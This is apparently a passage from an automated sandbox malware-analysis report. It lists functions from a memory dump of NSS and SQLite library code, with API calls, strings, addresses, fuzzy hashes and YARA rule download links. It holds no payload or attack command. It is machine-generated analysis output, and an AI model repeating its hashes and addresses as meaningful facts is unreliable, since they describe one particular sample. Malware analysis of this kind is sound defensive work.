Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 6f62d90978da2fd97e067a98d6c1c7b8905a08310da90a6b3840b0ae2bf1ce86
Instruction ID: ae8bb4decf5e5e8ed5155f1e745dcd33ea28aa3d15415e9f240dfbd6a4039f6b
Opcode Fuzzy Hash: 6f62d90978da2fd97e067a98d6c1c7b8905a08310da90a6b3840b0ae2bf1ce86
Instruction Fuzzy Hash: 1B0223B1B043008BE7089E719E8533B36B5BBC6718F24453CD95AA7B41EB71E846C79B

Function 6C687C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C687C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C687C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C687D1E

Part of subcall function 6C687870: SECOID_FindOID_Util.NSS3(?,?,?,6C6891C5), ref: 6C68788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C687D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C687D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C687DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C687DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C687DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C687E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C687E58

Part of subcall function 6C687870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6891C5), ref: 6C6878BB
Part of subcall function 6C687870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6891C5), ref: 6C6878FA
Part of subcall function 6C687870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C687930
Part of subcall function 6C687870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C687951
Part of subcall function 6C687870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C687964
Part of subcall function 6C687870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C68797A
Part of subcall function 6C687870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C687988
Part of subcall function 6C687870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6C687998
Part of subcall function 6C687870: free.MOZGLUE(00000000), ref: 6C6879A7
Part of subcall function 6C687870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C6879BB
Part of subcall function 6C687870: PR_GetCurrentThread.NSS3(?,?,?,?,6C6891C5), ref: 6C6879CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C687E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C687F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C687F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C687FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C687FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6C688038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C688050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C688093
SECOID_FindOID_Util.NSS3 ref: 6C687F29

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C688072
SECOID_FindOID_Util.NSS3 ref: 6C6880F5

Part of subcall function 6C68BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6C68800A,00000000,?,00000000,?), ref: 6C68BC3F

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 701cfdc2dffb8978a11164a1146446e9de68ac42f5238b7464bddb4bf1cd3503
Instruction ID: a74ffd2ed3120e0e8b6af002c0e91ee0b0d91106901cfa3f421a725b25c83acc
Opcode Fuzzy Hash: 701cfdc2dffb8978a11164a1146446e9de68ac42f5238b7464bddb4bf1cd3503
Instruction Fuzzy Hash: 91E1A27160A3009FD710CF28D880B5A77E5EF89308F14496DF99A9BB61E731EC45CB6A

Function 6C611C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C611C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C611C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C611CA1
GetLengthSid.ADVAPI32(?), ref: 6C611CA9
malloc.MOZGLUE(00000000), ref: 6C611CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C611CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C611CE4
GetLengthSid.ADVAPI32(?), ref: 6C611CEC
malloc.MOZGLUE(00000000), ref: 6C611CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C611D0F
CloseHandle.KERNEL32(?), ref: 6C611D17
AllocateAndInitializeSid.ADVAPI32 ref: 6C611D4D
GetLastError.KERNEL32 ref: 6C611D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6C611D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6C611D7A

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 2d1d0a0616b2c8c66fdd6339ce5af9b2374390c69f9a7c4ceba8b7608c64e178
Instruction ID: c1cbfe8f6ad9678b0a6b652f199d52cf141d1220a21282ca8432bd16807d87c1
Opcode Fuzzy Hash: 2d1d0a0616b2c8c66fdd6339ce5af9b2374390c69f9a7c4ceba8b7608c64e178
Instruction Fuzzy Hash: C03185B1A012289FEF11AF64CC48BAA7BB8FF4E306F014575F60892210EB305994CF69

Function 6C613D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C613DFB
__allrem.LIBCMT ref: 6C613EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C613FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C614047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6140DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C61415F
__allrem.LIBCMT ref: 6C61416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C614288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6142AB
__allrem.LIBCMT ref: 6C6142B7

Strings

%03d, xrefs: 6C6142E8
%04d, xrefs: 6C61407B
%lld, xrefs: 6C613FB2
%02d, xrefs: 6C614086

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 612de93b59038e8544b2a3eb22c7a4b17ffdfc23a8427074c01a59e5681aad55
Instruction ID: 74620101e0000a4782e3671954039febdd2773273c21826faa94baee6a23103c
Opcode Fuzzy Hash: 612de93b59038e8544b2a3eb22c7a4b17ffdfc23a8427074c01a59e5681aad55
Instruction Fuzzy Hash: 1FF14371A0C7409FD715CF3CC881BABB7F6AF86309F148A2DE48597A51EB70D8458B4A

Function 6C61EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61EF63

Part of subcall function 6C6287D0: PORT_NewArena_Util.NSS3(00000800,6C61EF74,00000000), ref: 6C6287E8
Part of subcall function 6C6287D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C61EF74,00000000), ref: 6C6287FD
Part of subcall function 6C6287D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C62884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C61F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C61F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C61F374
PL_strcasecmp.NSS3(6C762FD4,?), ref: 6C61F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C61F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C61F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C61F67D
CERT_DestroyName.NSS3(?), ref: 6C61F68B

Part of subcall function 6C628320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C628338
Part of subcall function 6C628320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C628364
Part of subcall function 6C628320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C62838E
Part of subcall function 6C628320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6283A5
Part of subcall function 6C628320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6283E3

Part of subcall function 6C6284C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6284D9
Part of subcall function 6C6284C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C628528

Part of subcall function 6C628900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C61F599,?,00000000), ref: 6C628955

Strings

oid., xrefs: 6C61F2CF
", xrefs: 6C61F21B
*, xrefs: 6C61F3C6

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 16118cfb07e0bf6ba39ab38be8d3be8aab66c00a7b5995a4ea5fe9d46d15ff06
Instruction ID: 5b143f4702e4132e672b65148ced1db6ee0c1f80ca9a823c1e7b26f7db0df737
Opcode Fuzzy Hash: 16118cfb07e0bf6ba39ab38be8d3be8aab66c00a7b5995a4ea5fe9d46d15ff06
Instruction Fuzzy Hash: 3D22287160C3508FD714CE6DC4907AAB7E6AB8532EF184A2EE49587F91E7319C05CB8B

Function 6C5C1C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5C1D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C5C1EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6C5C1FB7

Strings

SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6C5C1F83
unsupported file format, xrefs: 6C5C2188
abort due to ROLLBACK, xrefs: 6C5C2223
table, xrefs: 6C5C1C8B
sqlite_temp_master, xrefs: 6C5C1C5C
attached databases must use the same text encoding as main database, xrefs: 6C5C20CA
another row available, xrefs: 6C5C2287
no more rows available, xrefs: 6C5C2264
sqlite_master, xrefs: 6C5C1C61
unknown error, xrefs: 6C5C2291

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: f54a775dcb7ac051a23a5729c20060cc98d63657903e9b60911f22b5c2ec2d76
Instruction ID: 5f2b46216cffc8fa17590358f6bb2c625b4a081e929d5bfaf79ec4ac91c506fa
Opcode Fuzzy Hash: f54a775dcb7ac051a23a5729c20060cc98d63657903e9b60911f22b5c2ec2d76
Instruction Fuzzy Hash: 0912AD707083418FD705CF59C884A5ABBF2BF85318F18896EE8959BB52D731E846CB93

Function 6C5E5F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

ON clause references tables to its right, xrefs: 6C5E6BEC
-, xrefs: 6C5E6228
-, xrefs: 6C5E62F9
2, xrefs: 6C5E65B4
BINARY, xrefs: 6C5E8708, 6C5E8737, 6C5E87B8
NOCASE, xrefs: 6C5E8703
u, xrefs: 6C5E81DA
sub-select returns %d columns - expected %d, xrefs: 6C5E805F

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: cfe6becdfefba6170d6c563bf25f01b19bc9bab913e01d74b988e2a5de5addde
Instruction ID: fb46bbd622e3baa43f4e482c13ed1b5717c616f6b0e72a9df532463083f88b1d
Opcode Fuzzy Hash: cfe6becdfefba6170d6c563bf25f01b19bc9bab913e01d74b988e2a5de5addde
Instruction Fuzzy Hash: 334372746083418FD304CF19C890B5ABBE2BFCD358F148A6DE9998B756D731E846CB92

Function 6C68EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C68DAE2,?), ref: 6C68C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C68F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C68F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C75218C), ref: 6C68F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C68F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C68F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C68F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C68F210

Part of subcall function 6C6352D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C68F1E9,?,00000000,?,?), ref: 6C6352F5
Part of subcall function 6C6352D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C63530F
Part of subcall function 6C6352D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C635326
Part of subcall function 6C6352D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C68F1E9,?,00000000,?,?), ref: 6C635340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C68F227

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C68F23E

Part of subcall function 6C67BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C62E708,00000000,00000000,00000004,00000000), ref: 6C67BE6A
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?), ref: 6C67BE7E
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C68F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C68F3A8

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C68F3B3

Part of subcall function 6C632D20: PK11_DestroyObject.NSS3(?,?), ref: 6C632D3C
Part of subcall function 6C632D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C632D5F

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: fe78907731584804e0d84e5bdea073adaacb6640acb83a58687d305559629fe5
Instruction ID: d6a0d23b75b5e6eec156c6ef02049875460fe91e788a2fbc083f28b3033790d4
Opcode Fuzzy Hash: fe78907731584804e0d84e5bdea073adaacb6640acb83a58687d305559629fe5
Instruction Fuzzy Hash: 19D1C4B5E026059FDB10CFA9D880A9EB7F5FF48308F148429DA15E7711EB31E805CBA9

Function 6C6BDE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6C697FFA,00000000,?,6C6C23B9,00000002,00000000,?,6C697FFA,00000002), ref: 6C6BDE33

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

Part of subcall function 6C6BD000: PORT_ZAlloc_Util.NSS3(00000108,?,6C6BDE74,6C697FFA,00000002,?,?,?,?,?,00000000,6C697FFA,00000000,?,6C6C23B9,00000002), ref: 6C6BD008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6C697FFA,00000000,?,6C6C23B9,00000002,00000000,?,6C697FFA,00000002), ref: 6C6BDE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6C6BDEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6BE069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6BE121
PK11_FreeSymKey.NSS3(?), ref: 6C6BE14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6C6BE195
PR_GetCurrentThread.NSS3 ref: 6C6BE1FC

Part of subcall function 6C6B2460: PR_SetError.NSS3(FFFFE005,00000000,6C757379,00000002,?), ref: 6C6B2493

Strings

handshake data, xrefs: 6C6BDFF7
application data, xrefs: 6C6BDFE0
early application data, xrefs: 6C6BDFC9
key, xrefs: 6C6BE046

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 7ec113cabf082f8b36c6894f581ebf89bb7e7b347e527a846bb4b95acca0756a
Instruction ID: 51276635d1ac94b034556b8ae2b0b60f621495a05efa3fd4901a0273b8c55746
Opcode Fuzzy Hash: 7ec113cabf082f8b36c6894f581ebf89bb7e7b347e527a846bb4b95acca0756a
Instruction Fuzzy Hash: 6DC11671B00205ABDB14CF65CC80BEAB7B4FF09318F144179E909ABB51E731E965CBA9

Function 6C5AECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C5AEF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5AF483
%s at line %d of [%.10s], xrefs: 6C5AF492
database corruption, xrefs: 6C5AF48D

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 2a39ed00606ba1329947402befe4f1555f74cf406a7c2d01ae61214a9195ff4a
Instruction ID: 92fd286ee18dbc46fa5b037abb0cf33759086f99e538a6746ac26acd6b81b741
Opcode Fuzzy Hash: 2a39ed00606ba1329947402befe4f1555f74cf406a7c2d01ae61214a9195ff4a
Instruction Fuzzy Hash: F262D170A042458FDB14CFA6CC8479EBBB1BF49318F18469DD8456BB92D771E887CBA0

Function 6C64FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6C64FD06

Part of subcall function 6C64F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6C64F696
